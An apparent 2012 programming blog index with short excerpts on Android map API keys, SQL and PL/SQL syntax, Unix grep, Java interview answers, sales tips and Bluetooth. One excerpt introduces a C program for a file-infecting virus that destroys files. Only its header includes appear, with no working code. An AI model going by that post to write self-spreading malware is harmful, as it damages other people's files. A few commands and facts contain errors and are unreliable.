Pages

Tuesday 20 March 2012

Map api key for android

Step:1 Go to Run and Type cmd

Step:2 Go to Path at (.android) folder.

Step:3 Now type command
             kaytool -list -alias androiddebugkey -keystore debug.keystore -storepass android -keypass  android

Thursday 15 March 2012

what is WEB HOSTING?

WEB HOSTING
A web hosting service is a type of Internet hosting service that allows individuals and organizations to provide their own website accessible via the World Wide Web. Web hosts are companies that provide space on a server they own or lease for use by their clients as well as providing Internet connectivity, typically in a data center. Web hosts can also provide data center space and connectivity to the Internet for servers theydo not own to be located in their data center.

Internet,Intranet,Extranet

Internet - The Internet is a huge public forum which is ideally suited for
marketing, real-time commerce, delivery of technical support
information, contact information and the posting of other “public”
resources.

SQL Syntax


Select
SELECT "column_name" FROM "table_name"

Distinct
SELECT DISTINCT "column_name"
FROM "table_name"

Where
SELECT "column_name"
FROM "table_name"
WHERE "condition"

Thursday 8 March 2012

Stored procedures or Local Procedures in sql


Stored procedures or Local Procedures:
CREATE [OR REPLACE] PROCEDURE procedure_name [(argument [{IN | OUT | IN OUT}]
argument_type, ...)] {IS | AS}
Procedure_body;
  • Procedure_body is a PL/SQL block, must have at least one statement (can be NULL).
  • Creating a procedure is a DDL operation -- so implicit COMMIT is done
  • Either IS or AS can be used
  • Parameter mode (Ada style of call-by-value or reference): IN (read-only), OUT (write-only value is ignored and NOT allowed at RHS value), IN OUT (read-write), default is IN mode. The argument_type must be unconstrained, e.g. CHAR(20) is not allowed.

sql vs plsql


SQL
PL/SQL
SQL stands for Structured Query
Language, which does not have
procedural programming
capability.

PL/SQL stands for Procedural
Structured Query Language.
Which have advantage over SQL.

SQL is the language that enables
relational database users to
communicate with the database in
a straightforward manner.

PL/SQL is Oracle's procedural
language; it comprises the
standard language of SQL and a
wide array of commands that
enable you to control the
execution of SQL statements
according to different conditions.

Grant/Revoke Privileges in plsql


Grant Privileges on Tables

You can grant users various privileges to tables. These privileges can be any combination of select, insert, update, delete, references, alter, and index. Below is an explanation of what each privilege means.
Privilege
Description
Select
Ability to query the table with a select statement.
Insert
Ability to add new rows to the table with the insert statement.
Update
Ability to update rows in the table with the update statement.
Delete
Ability to delete rows from the table with the delete statement.
References
Ability to create a constraint that refers to the table.
Alter
Ability to change the table definition with the alter table statement.
Index
Ability to create an index on the table with the create index statement.

Data Dictionary in dbms

Data Dictionary

Data dictionary — metadata — system & object privileges — dictionary structure — ``user'' tables - ``all'' tables — ``dba'' tables — ``v$'' tables — frequently used tables — usage examples — exercises — using the dictionary in PL/SQL programs — optional exercise.

Introduction

This document presents Oracle's data dictionary, also called the system catalogue. The data dictionary is the repository of all the meta-data relevant to the objects stored in the database—and also of information concerning the DBMS itself.

uinx command and shell script


Assignment – 1

v  Locate lines that are longer than 100 and smaller than 150 characters using grep.

è grep -c '\{101,150\}' keval.txt

grep `^.\{100,150\}$` keval.txt

v  Merge and sort the contents of files A and B and display the sorted output on the screen.

è cat file1 file2 | sort

Monday 5 March 2012

SQL Questions and Answers

1.      To see current user name 
 Sql> show user;
2.      Change SQL prompt name 
 SQL> set sqlprompt “Manimara > “
 
Manimara >
 
Manimara >

Core Java interview questions with answers


1.How could Java classes direct program messages to the system console, but error messages, say to a file?
The class System has a variable out that represents the standard output, and the variable err that represents the standard error device. By default, they both point at the system console. This how the standard output could be re-directed:
Stream st = new Stream(new FileOutputStream(“output.txt”)); System.setErr(st); System.setOut(st);
2.How would you create a button with rounded edges?
There’s 2 ways. The first thing is to know that a JButton’s edges are drawn by a Border. so you can override the Button’s paintComponent(Graphics) method and draw a circle or rounded rectangle (whatever), and turn off the border. Or you can create a custom border that draws a circle or rounded rectangle around any component and set the button’s border to it.

Amazing picture


Sunday 4 March 2012

29 Ideas to Increase Sales and Profi


Growing your business doesn't have to be difficult or expensive. These simple, cost-effective ideas are designed to help you increase your sales and profit, without draining your budget.

1. FOCUS ON HELPING, INSTEAD OF SELLING

You shouldn't be trying to force people into purchasing your product or service. You should find people who want your product or service and then focus on offering any helpful information to them so that they can make an informed decision.

2. TARGET

If you're trying to target everybody, then chances are, you're not targeting anybody. For example, if you're selling something that homeowners would want, as opposed to renters, then target homeowners. State your target clearly in all of your marketing materials.

how to create a virus in c

This program is an example of how to create a virus in c.
This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them.
But the virus infected file is also capable of spreading the infection to another file and so on.
Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

Datatype in sql


CHAR Datatype

The CHAR datatype stores fixed-length character strings. When you create a table with a CHAR column, you must specify a string length (in bytes or characters) between 1 and 2000 bytes for the CHAR column width. The default is 1 byte. Oracle then guarantees that:
·         When you insert or update a row in the table, the value for the CHAR column has the fixed length.
·         If you give a shorter value, then the value is blank-padded to the fixed length.
·         If a value is too large, Oracle Database returns an error.
Oracle Database compares CHAR values using blank-padded comparison semantics.

What is Bluetooth


Introduction to Bluetooth

The latest technology for wireless connectivity has taken a new avatar and is called Bluetooth. The Bluetooth technology is a low cost, short range, low power technology using radio waves for wireless connectivity between various devices.
The initial releases of the technology known as Bluetooth 1.1 has speeds upto 720 kbps or kilo bytes per second. The maximum range of Bluetooth is just 10 meters theoretically but in practical situation does not extend beyond 6 meters. Since the technology uses radio waves as the data carrier, it is not limited to a line of sight which was the case with infrared data communication technology. Bluetooth transmission can occur through many obstacles.

Friday 2 March 2012

Current Location on map in Android

Step1:Create new android project.
File/new project/android project/showmapactivity.

Step2:Create main.xml file with map api key.
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/mainlayout"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"    >

WaveLayout in Android

Step 1:Create new android project in eclips.
File/new project/android project/waveLayoutActivity.

Step 2:Create wave_layout.xml and wave_scale.xml in @res/anim
wave_layout.xml:
<?xml version="1.0" encoding="utf-8"?>
<gridLayoutAnimation xmlns:android="http://schemas.android.com/apk/res/android"
       android:rowDelay="75%"
       android:columnDelay="0%"
       android:directionPriority="none"
       android:animation="@anim/wave_scale" />

SQL interview questions and answers

What is SQL and where does it come from?
Structured Query Language (SQL) is a language that provides an interface to relational database systems. SQL was developed by IBM in the 1970s for use in System R, and is a de facto standard, as well as an ISO and ANSI standard. SQL is often pronounced SEQUEL.
In common usage SQL also encompasses DML (Data Manipulation Language), for INSERTs, UPDATEs, DELETEs and DDL (Data Definition Language), used for creating and modifying tables and other database structures.